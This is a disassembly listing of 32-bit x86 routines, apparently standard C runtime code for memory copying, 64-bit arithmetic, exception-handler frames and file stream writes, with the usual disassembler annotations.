; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p
; sub_4227F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D52A
loc_41D4F1: ; CODE XREF: sub_41D4D3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D4FB
call sub_422E52
loc_41D4FB: ; CODE XREF: sub_41D4D3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D510
cmp ecx, [eax+8]
jle short loc_41D515
loc_41D510: ; CODE XREF: sub_41D4D3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D521
loc_41D515: ; CODE XREF: sub_41D4D3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D521: ; CODE XREF: sub_41D4D3+40j
cmp [ebp+arg_4], 0
jge short loc_41D4F1
mov eax, [ebp+var_4]
loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D53E
cmp esi, eax
jbe short loc_41D543
loc_41D53E: ; CODE XREF: sub_41D4D3+65j
call sub_422E52
loc_41D543: ; CODE XREF: sub_41D4D3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D4D3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41D568
push [ebp+arg_0]
call sub_426356
sub_41D550 endp
; =============== S U B R O U T I N E =======================================
sub_41D568 proc near ; DATA XREF: sub_41D550+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D568 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D570 proc near ; DATA XREF: sub_41D592+Ao
; sub_41D5FA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D591: ; CODE XREF: sub_41D570+10j
retn
sub_41D570 endp
; =============== S U B R O U T I N E =======================================
sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp
; sub_423CC0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D570
push large dword ptr fs:0
mov large fs:0, esp
loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D5EC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D5EC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D5EA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D626
call dword ptr [ebx+esi*4+8]
loc_41D5EA: ; CODE XREF: sub_41D592+44j
jmp short loc_41D5AF
; ---------------------------------------------------------------------------
loc_41D5EC: ; CODE XREF: sub_41D592+2Aj
; sub_41D592+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D592 endp
; =============== S U B R O U T I N E =======================================
sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D570
jnz short locret_41D61C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D61C
mov eax, 1
locret_41D61C: ; CODE XREF: sub_41D5FA+10j
; sub_41D5FA+1Bj
retn
sub_41D5FA endp
; =============== S U B R O U T I N E =======================================
sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep
; sub_422DB0+40p
push ebx
push ecx
mov ebx, offset dword_43AE2C
jmp short loc_41D630
sub_41D61D endp
; =============== S U B R O U T I N E =======================================
sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp
; sub_423CC0+78p
push ebx
push ecx
mov ebx, offset dword_43AE2C
mov ecx, [ebp+8]
loc_41D630: ; CODE XREF: sub_41D61D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D626 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_40D340+5p
; sub_40D4E2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D640 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: sub_40D977+26p
; ___:004260F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap
; sub_41E742+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D690
cmp edi, eax
jb loc_41D808
loc_41D690: ; CODE XREF: sub_41D670+16j
test edi, 3
jnz short loc_41D6AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
loc_41D6AC: ; CODE XREF: sub_41D670+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D6C4
and eax, 3
add ecx, eax
jmp dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D6C4: ; CODE XREF: sub_41D670+46j
jmp dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6CC: ; CODE XREF: sub_41D670+31j
; sub_41D670+8Ej ...
jmp off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6E0
dd offset loc_41D70C
dd offset loc_41D730
; ---------------------------------------------------------------------------
loc_41D6E0: ; DATA XREF: sub_41D670+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D70C: ; DATA XREF: sub_41D670+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D730: ; DATA XREF: sub_41D670+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr
dd offset loc_41D79C
dd offset loc_41D794
dd offset loc_41D78C
dd offset loc_41D784
dd offset loc_41D77C
dd offset loc_41D774
dd offset loc_41D76C
; ---------------------------------------------------------------------------
loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670:off_41D74Co
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r
; sub_41D670+92r ...
dd offset loc_41D7D0
dd offset loc_41D7DC
dd offset loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D7C8: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7D0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D7DC: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7F0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D808: ; CODE XREF: sub_41D670+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D83C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D830: ; CODE XREF: sub_41D670+1B1j
; sub_41D670+208j ...
neg ecx
jmp off_41D900[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D670+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D854
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D854: ; CODE XREF: sub_41D670+1D6j
; DATA XREF: sub_41D670+1DDr
jmp off_41D950[ecx*4]
; ---------------------------------------------------------------------------
align 4
push 880041D8h
fadd dword ptr [ecx+0]
mov al, 0D8h
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D904
dd offset loc_41D90C
dd offset loc_41D914
dd offset loc_41D91C
dd offset loc_41D924
dd offset loc_41D92C
dd offset loc_41D934
off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------
loc_41D904: ; DATA XREF: sub_41D670+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D90C: ; DATA XREF: sub_41D670+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D914: ; DATA XREF: sub_41D670+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D91C: ; DATA XREF: sub_41D670+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D924: ; DATA XREF: sub_41D670+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D92C: ; DATA XREF: sub_41D670+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D934: ; DATA XREF: sub_41D670+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D947: ; CODE XREF: sub_41D670+1C2j
; DATA XREF: sub_41D670:off_41D900o
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r
; sub_41D670:loc_41D854r ...
dd offset loc_41D968
dd offset loc_41D978
dd offset loc_41D98C
; ---------------------------------------------------------------------------
loc_41D960: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D968: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D978: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D98C: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D670 endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p
; sub_40DA4F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p
arg_0 = dword ptr 4
push esi
push dword_4DD39C
call sub_422EA8
mov edx, dword_4DD39C
pop ecx
mov ecx, dword_4DD398
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41DA12
push edx
call sub_422EA8
add eax, 10h
push eax
push dword_4DD39C
call sub_41BBE2
add esp, 0Ch
test eax, eax
jnz short loc_41D9F5
retn
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj
mov ecx, dword_4DD398
sub ecx, dword_4DD39C
mov dword_4DD39C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DD398, ecx
loc_41DA12: ; CODE XREF: sub_41D9B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DD398, 4
retn
sub_41D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D9B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
sub_41DA32 proc near ; DATA XREF: ___:00429018o
push 80h
call sub_41BEB5
test eax, eax
pop ecx
mov dword_4DD39C, eax
jnz short loc_41DA53
push 18h
call sub_41E2C9
mov eax, dword_4DD39C
pop ecx
loc_41DA53: ; CODE XREF: sub_41DA32+12j
and dword ptr [eax], 0
mov eax, dword_4DD39C
mov dword_4DD398, eax
retn
sub_41DA32 endp
; =============== S U B R O U T I N E =======================================
sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap
; sub_40DB5E+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41DA75
loc_41DA6D: ; CODE XREF: sub_41DA61+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41DA6D
loc_41DA75: ; CODE XREF: sub_41DA61+Aj
mov edx, [esp+arg_4]
push esi
loc_41DA7A: ; CODE XREF: sub_41DA61+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41DA7A
pop esi
retn
sub_41DA61 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB07
mov edi, [esp+14h]
test edi, edi
jz short loc_41DAAA
cmp edi, 1
jz short loc_41DAAA
cmp edi, 2
jnz short loc_41DB07
loc_41DAAA: ; CODE XREF: ___:0041DA9Ej
; ___:0041DAA3j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DAC1
push esi
call sub_422FA3
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41DAC1: ; CODE XREF: ___:0041DAB2j
push esi
call sub_41E42B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DAD6
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD6: ; CODE XREF: ___:0041DACDj
test al, 1
jz short loc_41DAEA
test al, 8
jz short loc_41DAEA
test ah, 4
jnz short loc_41DAEA
mov dword ptr [esi+18h], 200h
loc_41DAEA: ; CODE XREF: ___:0041DAD4j
; ___:0041DAD8j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_422F09
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB07: ; CODE XREF: ___:0041DA96j
; ___:0041DAA8j
mov dword_4DBDDC, 16h
or eax, 0FFFFFFFFh
loc_41DB14: ; CODE XREF: ___:0041DB05j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep
; sub_4143F7+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DB39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: sub_41DB20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB54 proc near ; CODE XREF: ___:0041668Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DB78
xor eax, eax
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB78: ; CODE XREF: sub_41DB54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DB8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DB92
; ---------------------------------------------------------------------------
loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj
mov [ebp+arg_C], 1000h
loc_41DB92: ; CODE XREF: sub_41DB54+35j
; sub_41DB54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DBC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DBC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DBAC
mov edi, eax
loc_41DBAC: ; CODE XREF: sub_41DB54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CD20
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DC0C
; ---------------------------------------------------------------------------
loc_41DBC6: ; CODE XREF: sub_41DB54+47j
; sub_41DB54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DC11
test ecx, ecx
jz short loc_41DBDA
push esi
call sub_41E42B
test eax, eax
pop ecx
jnz short loc_41DC53
loc_41DBDA: ; CODE XREF: sub_41DB54+79j
cmp [ebp+arg_C], 0
jz short loc_41DBED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DBEF
; ---------------------------------------------------------------------------
loc_41DBED: ; CODE XREF: sub_41DB54+8Aj
mov edi, ebx
loc_41DBEF: ; CODE XREF: sub_41DB54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DC4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DC4A
loc_41DC0C: ; CODE XREF: sub_41DB54+70j
mov edi, [ebp+var_4]
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DC11: ; CODE XREF: sub_41DB54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FE2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DC3A
mov [ebp+arg_C], 1
loc_41DC3A: ; CODE XREF: sub_41DB54+BBj
; sub_41DB54+DDj
test ebx, ebx
jnz loc_41DB92
mov eax, [ebp+arg_8]
loc_41DC45: ; CODE XREF: sub_41DB54+1Fj
; sub_41DB54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DC4A: ; CODE XREF: sub_41DB54+ADj
; sub_41DB54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DC55
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DB54+84j
; sub_41DB54+CFj
mov eax, edi
loc_41DC55: ; CODE XREF: sub_41DB54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DC45
sub_41DB54 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 2690E7Eh
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
nop
call near ptr 269086Bh
push eax
call sub_420C7F
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDDC, 0Dh
mov dword_4DBDE0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp
; sub_41AED9+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DCD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD13
; ---------------------------------------------------------------------------
loc_41DCD2: ; CODE XREF: sub_41DCB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DD0E
cmp edx, [esp+8+arg_4]
ja short loc_41DD0E
jb short loc_41DD0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DD0F
loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej
; sub_41DCB0+54j
dec esi
loc_41DD0F: ; CODE XREF: sub_41DCB0+56j
; sub_41DCB0+5Cj
xor edx, edx
mov eax, esi
loc_41DD13: ; CODE XREF: sub_41DCB0+20j
pop esi
pop ebx
retn 10h
sub_41DCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp
; sub_41AED9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DD41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD41: ; CODE XREF: sub_41DD20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DD4F: ; CODE XREF: sub_41DD20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DD4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DD7A
cmp edx, [esp+4+arg_4]
ja short loc_41DD7A
jb short loc_41DD82
cmp eax, [esp+4+arg_0]
jbe short loc_41DD82
loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj
; sub_41DD20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DD82: ; CODE XREF: sub_41DD20+52j
; sub_41DD20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DD91: ; CODE XREF: sub_41DD20+1Fj
pop ebx
retn 10h
sub_41DD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp
; sub_416DD9+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DDC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DDDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DDDD: ; CODE XREF: sub_41DDA0+27j
or eax, eax
jnz short loc_41DDF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
